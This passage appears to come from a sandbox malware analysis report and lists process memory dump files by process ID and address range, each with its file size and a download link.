              • memory/4240-28-0x0000000008020000-0x000000000869A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/4240-27-0x0000000003190000-0x00000000031A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4240-26-0x00000000069D0000-0x00000000069EE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/4240-29-0x0000000006EB0000-0x0000000006ECA000-memory.dmp

                Filesize

                104KB

                Download

              • memory/4240-7-0x00000000740D0000-0x0000000074880000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/4240-14-0x0000000006300000-0x0000000006366000-memory.dmp

                Filesize

                408KB

                Download

              • memory/4240-12-0x0000000005B00000-0x0000000005B22000-memory.dmp

                Filesize

                136KB

                Download

              • memory/4240-11-0x0000000005B80000-0x00000000061A8000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/4240-10-0x0000000003190000-0x00000000031A0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/4240-8-0x0000000003090000-0x00000000030C6000-memory.dmp

                Filesize

                216KB

                Download

              • memory/4260-25-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4260-10773-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4260-10811-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4260-10850-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4260-10872-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4396-4600-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4396-24-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/4396-10768-0x0000000000400000-0x000000000053F000-memory.dmp

                Filesize

                1.2MB

                Download